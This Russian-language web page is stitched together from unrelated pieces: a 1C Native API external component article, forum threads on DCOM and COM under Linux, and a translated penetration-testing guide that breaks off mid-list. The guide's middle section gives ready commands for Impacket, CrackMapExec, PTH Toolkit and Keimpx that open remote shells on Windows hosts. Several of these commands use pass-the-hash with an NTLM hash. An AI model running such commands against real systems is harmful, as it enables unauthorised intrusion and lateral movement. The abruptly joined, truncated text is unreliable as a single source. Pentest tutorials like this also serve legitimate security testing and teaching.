Аналог dcom для linux
Одним из недостатком Native API является то, что мы не можем возвратить ВК и передать параметры ВК в метод ВК. Поэтому пришлось возвращать ссылку на объект в виде строки. И создавать методы для обертки ВК над строкой.
Не буду описывать внутренности ВК. Описание и исходники можно посмотреть
Там же можно скачать и исходники.
Сначала определим вспомогательные методы для создания объектоа типов и обертки.
Я создал каталог, в который положил библиотеки
AddInNetObjectToNative.dll это сама ВК
Заодно проверим передаваемые типы.
Ух ты, и это работает!
Еще одна особенность Native API в том, что мы можем получить двоичные данные, но вот передать их в параметры метода метода ВК нет.
Дальше идет проверка вызова сторонней библиотеки и работа с двоичными данными.
Самое главное, что мы можем использовать сторонние библиотеки, которые должны лежать рядом с NetObjectToNative.dll
К сожалению, в отличие от COM в .Native ВК мы не можем использовать энумераторы
Поэтому для упрощения использования массивов и списков создана функция ПолучитьЭнумератор
Теперь перейдем к более грустному.
В этой статье был тест скорости, время вызова которого составляло более 300 000 вызовов в секунду.
Проведем аналогичный тест на 1С:
То есть скорость вызова уменьшилась до 20 000 вызовов в секунду.
Но и этого достаточно, так обычно вызываются более тяжелые методы.
Добавил поддержку IDynamicMetaObjectProvider (DynamicObject,ExpandoObject). В исходниках есть примеры. Это важно при использовании различного рода парсеров
Теперь стоит поговорить о недостатках 1С реализации Технологии Внешних Компонент.
1. Абсолютно не нужны методы FindMethod, FindProp, IsPropReadable, IsPropWritable, GetNParams, HasRetVal, GetParamDefValue
Так как у методов
bool SetPropVal и bool GetPropVal есть возвращаемое значение об успешном выполнении
Информация об ошибке возвращается через AddError.
Да и вызов по индексу это анахронизм от IDiapatch, где было описание диспинтерфейсов для увеличения скорости вызова.
2. При возвращении методами SetPropVal и GetPropVal исключение не вызывается
3. Зачем-то происходит установка свойств там, где в коде этого не требуется.
4. Вызывается метод как функция там, где метод вызывается как процедура.
5. Один из основных - это нельзя вернуть и передать экземпляр ВК из методов ВК.
Я лично не вижу никаких проблем. Определить значение для такого типа и установить ссылку в поле pInterfaceVal.
Подсчет ссылок происходит на стороне 1С. Передавать можно в том числе и объекты 1С только на время вызова метода.
Специальные предложения
Мне лично, так код удобнее читать. Плюс за старания. Но по опыту скажу, если совмещать высокую нагрузку с внешними компонентами, до добра это не доводит.
(3) pbazeliuk,
Проблема тут не в самой компоненте, а интерфейсе, что 1С предоставляет.
Например практически все программисты 1С используют ComОбъект.
По моей методе можно использовать
NetОбъект,NetТип
JavaОбъект,JavaТип
И эти объявления будут реально кроссплатформенны.
При это различия с ComОбъект минимальны. Имя класса равноценно комовскому ProgID. При этом нет ограничений на используемые типы.
Ты можешь написать свою библиотеку поместить в определенное место и использовать её вместо COM. Без регистрации итд. Расширять возможности 1С станет легче.
При этом например нетовская библиотека весит всего 65 мегабайт, которую можно включить в дистрибутив и главное это кроссплатформенное решение. Причем нет ничего сложного передавать в параметрах и объекты 1С которые поддерживают аналогичный интерфейс. Можно пойти по пути подсчета ссылок в 1С, а доступ к объектам 1С только на время вызова метода ВК.
Например, существует DCOM сервер под Windows.
Необходимо обеспечить взаимодействие с этим сервером из Linux.
Posted via ActualForum NNTP Server 1.3
>Еще можно посмотреть в сторону SOAP.
А SOAP активно развивается?
Posted via ActualForum NNTP Server 1.3
Да. Кроме того, это гетерогенный протокол. То есть,
создающийся для взаимодействия разнородных систем.
вообщето строго говоря сам то COM - от платформы не зависит. зависит всё то, что вокруг COMа. регистрация компоннентов, хранилище и прочая чушь. Если строго следовать технологии COM - то ось на которой он выполняеться - не регламентируеться (см. книгу по кому. Например "Основы COM" - первые главы. что это, для чего и с чем едят).
Другое дело - COMпоненты написаные под винды и для виндов.
Либо по другому. Если Вам писать своё - то платформа не при чём. Если юзать чужое - не прокатит вообще. Если удалённо - то нуна реализовать протокол DCOM. Задача не благодарная, но в принцепе, решаемо всё.
кстати это одна из ниш в программировании - компоненты под другими осями, отличные от форточек. почему то у многих ассоциация с оле и виндами.
>вообщето строго говоря сам то COM - от платформы не зависит. зависит всё
то, что вокруг COMа. >регистрация компоннентов, хранилище и прочая чушь.
Если строго следовать технологии COM - то >ось на которой он выполняеться -
не регламентируеться (см. книгу по кому. Например "Основы COM" >- первые
главы. что это, для чего и с чем едят).
Ну а может ли кто-нибудь назвать библиотеку COM реализованную на другой
платформе?
Я почему-то немогу найти года два уже. Да. Все говорят мол стандарт не
регламентирует что
COM должен работать только на виндовс, однако никто почемуто не решается
реализовать COM
под линукс на промышленном уровне.
Почему ни одна фирма не рискнула просто взять и повторить мелкосовтовские
широко используемые COM интерфейсы на другой платформе?
Видимо на это есть очень веские причины.
Posted via ActualForum NNTP Server 1.3
кхм. почитайте лучше книгу :) повторять что Вы собрались ? Интерфейс айкноу ?
ышо раз о кошках. COM - это технология. Если хотите "закон общения". Где Вы видели его реализацию в библиотеки ? Если ткнёте в ОЛЕ - дык про это заблуждение уже указывал выше.
Технология COM регламентирует 4 (если не ошибаюсь правила), соглашение о именах, способ нахождения точки входа. И всё.
Помню, когда то на спор сделал "технологию загрузки по COMу" без олешной дэлеле. Работало. Да, поиск-хранение компонентов стало моей головной болью. Да, фабрикой компонентов там и не пахло. Да все виндовые настройки по боку. Но простите, COM этого и не утверждал ! В этом то и комизм ситуации кстати. Люди от юникса - считают COM чиссо мелкософтовским мальчиком для каких то там выкрутасов (технология COM родилась от чиссо форточкенных разработок - OLE). На самом деле в данную технологию заложен очень универсальный механизм. Который, на мой взгляд, не шибко любят на других платформах (похоже просто по глупости, или скажем по консерватизности).
Конечно же есть DCOM. Тому нуна уже ессесвенно библиотека. И она уже будет платформозависимая.
Эта статья содержит набор методов для подключения к удаленной системе Windows из Linux и примеры того, как выполнять команды на машинах Windows удаленно из Linux с помощью ряда различных инструментов. И мы рассмотрим как осуществлять удаленный доступ к системам Windows из Linux.
Она охватывает более 30 различных методов получения удаленной оболочки, удаленного выполнения команд или подключения к удаленному рабочему столу с использованием различных свободно доступных инструментов и утилит.
Существует множество различных инструментов, которые можно использовать для доступа к удаленному компьютеру с Windows из Linux и выполнения на нем команд. Вот список существующих инструментов, описанных в этой статье, которые можно использовать для этой задачи.
Инструменты для удаленной команды или удаленного доступа к оболочке:
Инструменты для удаленного графического отображения:
Все эти инструменты имеют открытый исходный код и свободно доступны в любом дистрибутиве Linux (Kali, Ubuntu, Debian, Arch, CentOS, RedHat, Parrot ..), включая платформы на основе UNIX, такие как BSD, Mac OS X и многие другие.
Большинство этих инструментов работают путем подключения к порту SMB (tcp / 445) на удаленном компьютере с Windows, но некоторые из них также используют другие интерфейсы, такие как WMI, MMC, DCOM, NetBIOS и, конечно, RDP или VNC в случае подключение к удаленному (графическому) рабочему столу.
Более подробная информация об этом включена в обзорную таблицу ниже.
Обзорная таблица
В следующей таблице приводится сводка всех методов удаленного доступа, описанных в этой статье.
Вы можете увидеть, какой тип удаленного выполнения возможен с использованием каждого метода, а также подробную информацию о том, какие сетевые порты используются во время соединения.
Методы удаленного доступа из командной строки
Этот раздел содержит все методы удаленного доступа к командной строке, которые можно использовать для удаленного выполнения команд на машине Windows из Linux, включая создание интерактивной оболочки (cmd.exe или powershell.exe). ВАЖНО : Для использования этих методов необходимо предоставить учетные данные администратора. Это относится ко всем описанным ниже методам. Теперь перейдем к реальным методам и приемам.Impacket
Impacket — это библиотека Python для работы с различными сетевыми протоколами Windows. Он используется многими различными инструментами тестирования на проникновение и содержит ряд методов для выполнения команд на удаленных компьютерах с Windows.
Вот как мы можем использовать Impacket для выполнения команд в удаленной системе Windows:
1. Impacket psexec.py
Это создаст интерактивную удаленную оболочку с помощью метода Psexec:
psexec.py "./Administrator:pass123"@192.168.0.1
2. Impacket dcomexec.py
Это создаст полуинтерактивную удаленную оболочку с использованием DCOM:
dcomexec.py "./Administrator:pass123"@192.168.0.1
3. Impacket smbexec.py
Это создаст полуинтерактивную удаленную оболочку через встроенные функции Windows SMB:
smbexec.py "./Administrator:pass123"@192.168.0.1
4. Impacket wmiexec.py
Это создаст полуинтерактивную удаленную оболочку с использованием WMI:
wmiexec.py "./Administrator:pass123"@192.168.0.1
5. Impacket atexec.py
Это выполнит команду удаленно через Atsvc:
atexec.py "./Administrator:pass123"@192.168.0.1 "whoami"
Примечание: Impacket также поддерживает метод аутентификации с использованием хеш-кода, что позволяет использовать NTLM-хэш вместо пароля. Вот пример с psexec.py:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 "./Administrator"@192.168.0.1
Подробную информацию об этих методах с еще большим количеством примеров и снимков экрана можно найти здесь.
CrackMapExec
CrackMapExec — это швейцарский армейский нож пентеста. Он имеет множество полезных функций и интегрируется с рядом других проектов по обеспечению безопасности, таких как Mimikatz, Empire, PowerSploit или Metasploit.
Он также содержит ряд методов для выполнения команд на удаленных машинах Windows.
Вот как использовать CrackMapExec для выполнения команд в удаленных системах:
6. CrackMapExec wmiexec
Это выполнит команду (CMD / PowerShell) удаленно с помощью WMI:
crackmapexec smb -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET> crackmapexec smb -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1
7. CrackMapExec atexec
Это выполнит команду (CMD / PowerShell) удаленно через Atsvc:
crackmapexec smb --exec-method atexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>
crackmapexec smb --exec-method atexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1
8. CrackMapExec smbexec
Это выполнит команду (CMD / PowerShell) удаленно с использованием собственного SMB:
crackmapexec smb --exec-method smbexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>
crackmapexec smb --exec-method smbexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1
9. CrackMapExec mmcexec
Это выполнит команду (CMD / PowerShell) удаленно через MMC:
crackmapexec smb --exec-method mmcexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>
crackmapexec smb --exec-method mmcexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1
10. CrackMapExec winrm
Это выполнит команду (CMD / PowerShell) удаленно с помощью PSRemoting:
crackmapexec winrm -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>
crackmapexec winrm -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1
Примечание: Хотя CrackMapExec позволяет запускать команду только в удаленной системе, мы все равно можем использовать ее для создания интерактивной оболочки с помощью командлета обратной оболочки PowerShell (например, некоторых из них ).
CrackMapExec также поддерживает передачу хэша NTLM вместо пароля (pass-the-hash). Вот пример с wmiexec:
crackmapexec smb -d <DOMAIN> -u <USER> -H <LM:NTLM> -x <COMMAND> <TARGET>
crackmapexec smb -d . -u Administrator -H aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -x "cmd /c whoami" 192.168.0.1
Более подробную информацию о CrackMapExec с примерами и скриншотами можно найти здесь.
Набор инструментов PTH
PTH Toolkit — это набор утилит, созданный пионерами техники передачи хеширования. Он содержит ряд полезных инструментов для подключения к удаленным машинам Windows, некоторые из которых также предназначены для выполнения команд в удаленных системах Windows.
Вот как использовать все функции удаленного доступа PTH Toolkit:
11. PTH Toolkit: pth-winexe
Это создаст интерактивную удаленную оболочку с использованием метода, подобного Psexec:
pth-winexe -U <DOMAIN>\\<USER>%<PASSWORD> --uninstall //<TARGET> <COMMAND>
pth-winexe -U ".\Administrator%pass123" --uninstall //192.168.0.1 cmd
Обратите внимание, что с помощью параметра «–system» pth-winexe также может автоматически расширяться до учетной записи «nt Authority \ system».
12. PTH Toolkit: pth-wmis
Это выполнит команду удаленно с помощью WMI:
pth-wmis -U ".\Administrator%pass123" //192.168.0.1 'cmd.exe /c whoami'
Обратите внимание, что этот конкретный метод не возвращает выходные данные команды. Если нам нужен результат, мы должны получить его с помощью дополнительной утилиты pth-smbget.
Примечание: PTH Toolkit, конечно, также поддерживает предоставление хеш-кода NTLM вместо пароля (pass-the-hash). Вот пример с pth-winexe:
pth-winexe -U <DOMAIN>\\<USER>%<LM|NTLM> --uninstall //<TARGET> <COMMAND>
pth-winexe -U ".\Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" --uninstall //192.168.0.1 cmd
Более подробную информацию о PTH Toolkit с примерами и скриншотами можно найти здесь:
Keimpx
Keimpx — это инструмент лаборатории NCC Group, разработанный для пентестинга сред Windows. Он имеет много интересных функций, таких как работа с общими сетевыми ресурсами или кустами реестра, сброс хэшей и удаленное извлечение файлов NTDS, и, конечно же, ряд методов для удаленного выполнения команд в системах Windows.
Вот как использовать Keimpx для удаленного выполнения команд.
Сначала нам нужно запустить Keimpx с целевым списком, к которому нужно подключиться. Здесь мы подключаемся к одной машине:
keimpx.py -D <DOMAIN> -U <USER> -P <PASSWORD> -t <TARGET>
keimpx.py -D . -U Administrator -P pass123 -t 192.168.0.1
Теперь будет интерактивное меню, в котором мы сможем выбрать, что мы хотим сделать.
Вот список всех поддерживаемых методов, доступных в меню для выполнения команд или создания оболочек:
13. Keimpx: svcexec
Это выполняет команду в удаленной системе с помощью службы Windows. Введите в меню:
s vcexec <COMMAND>
svcexec "dir c:\users"
14. Keimpx: svcexec SERVER
Метод svcexec SERVER также выполняет команду, но он разработан для более ограниченных систем, в которых нет доступных для записи сетевых ресурсов:
svcexec <COMMAND> SERVER
svcexec "dir c:\users" SERVER
15. Keimpx: svcshell
Это создаст полуинтерактивную оболочку в удаленной системе с помощью службы Windows:
svcshell
16. Keimpx: svcshell SERVER
Svcshell также поддерживает режим СЕРВЕРА, который может порождать удаленную оболочку в более ограниченных системах без какого-либо доступного для записи сетевого ресурса:
Veizdem --> VeizdemИщу аналоги COM объектов для загрузки/выгрузки XML, работы с XSD файлами, а так же аналог COMConnector под ОС Linux. Необходимо все делать без использования wine или windows. Кто что знает по данному поводу?
Сервер 1С на Debian, сервер БД PostgreSQL на CentOS, все клиенты на Kubuntu.
Vofka --> VofkaТо, что COM это сугубо плюшка Windows я знаю, меня интересует как те же действия выполнять на Linux, где нет COM объектов.
Вот нашел пример записи XML файла без использования COM:
И пример чтения XML файла без того же COM:
А такая же реализация но для COMConnector есть?
Так же не нашел, как работать с XSD.
Vofka --> VofkaCOMConnector-а под Линуксом нету.
Потому что то, что вы выше привели - это делается средствами платформы. А платформа на 90+% (мне так кажется) работает одинаково и в Виндовсе и в Линуксе. С XSD платформа сама работать не умеет. Veizdem --> Veizdem
Работать с xml можно двумя способами получается - COM и внутренними средствами платформы, а что-то внутреннее по аналогии для COMConnector не придумано? Идиотизм какой-то. В очередной раз убеждаюсь, что проще было вместо 1С самостоятельно что-то написать.
Получается что для Linux только галочку на сайте разработали, а толку от этого никакого нет.
Petre --> Petre- "Бухгалтерія для України 2.1";
- "Альфа-Авто: Автосалон+Автосервіс+Автозапчастини, українська версія". Veizdem --> Veizdem
А как мне их применять, чтобы работая в одной ИБ получить данные из другой ИБ, если они обе физически на одной машине лежат на одном сервере БД и одном сервере 1с? Или как мне это применить чтобы выгнать всех из 1С обработкой? Petre --> Petre
- "Бухгалтерія для України 2.1";
- "Альфа-Авто: Автосалон+Автосервіс+Автозапчастини, українська версія". Veizdem --> Veizdem
Ну в этом случае я спрашивал что мне с этим делать, так как еще ни разу с этим дела не имел. Извините, если не совсем понятно выразился. Vofka --> Vofka
Ну так цель озвучьте, пора уже. Вы задали вопрос про COM в Linux - вам сказали, что такого нету. Что вы собираетесь сделать - никому кроме вас из здесь присутствующих неизвестно. Veizdem --> Veizdem
Так цель же вот она - как мне организовать обмен данными между двумя разными базами и как делать выброс всех пользователей, включая зависшие сеансы? Vofka --> Vofka
XML-ем делайте, либо любым форматом на свое усмотрение, в чем проблема? Так же, как выше писали - веб сервисы.
как делать выброс всех пользователей, включая зависшие сеансы?Где-то (на диске ИТС кажется) встречал программный java интерфейс для управления сервером 1С. Вот видимо для счастливых обладателей Линукса его и сделали, чтобы через него можно было программно работать с сервером 1С. Veizdem --> Veizdem
Порылся на диске, нашел, да есть такая штука на Java, только вот я два дня промучился и не смог даже их пример работать заставить, он мне ошибку "отказ в соединении" выкидывает. И вот как с этим работать?
И ладно бы я не знал что такое Java, но я на ней не один проект сделать успел, до того как пересесть за 1С.
Может быть где-то есть какая-нибудь детальная информация как это все должно работать? JavaDoc предоставляемый в комплекте не дает полного описания того, как это все должно работать.
Vofka --> VofkaЧитайте также: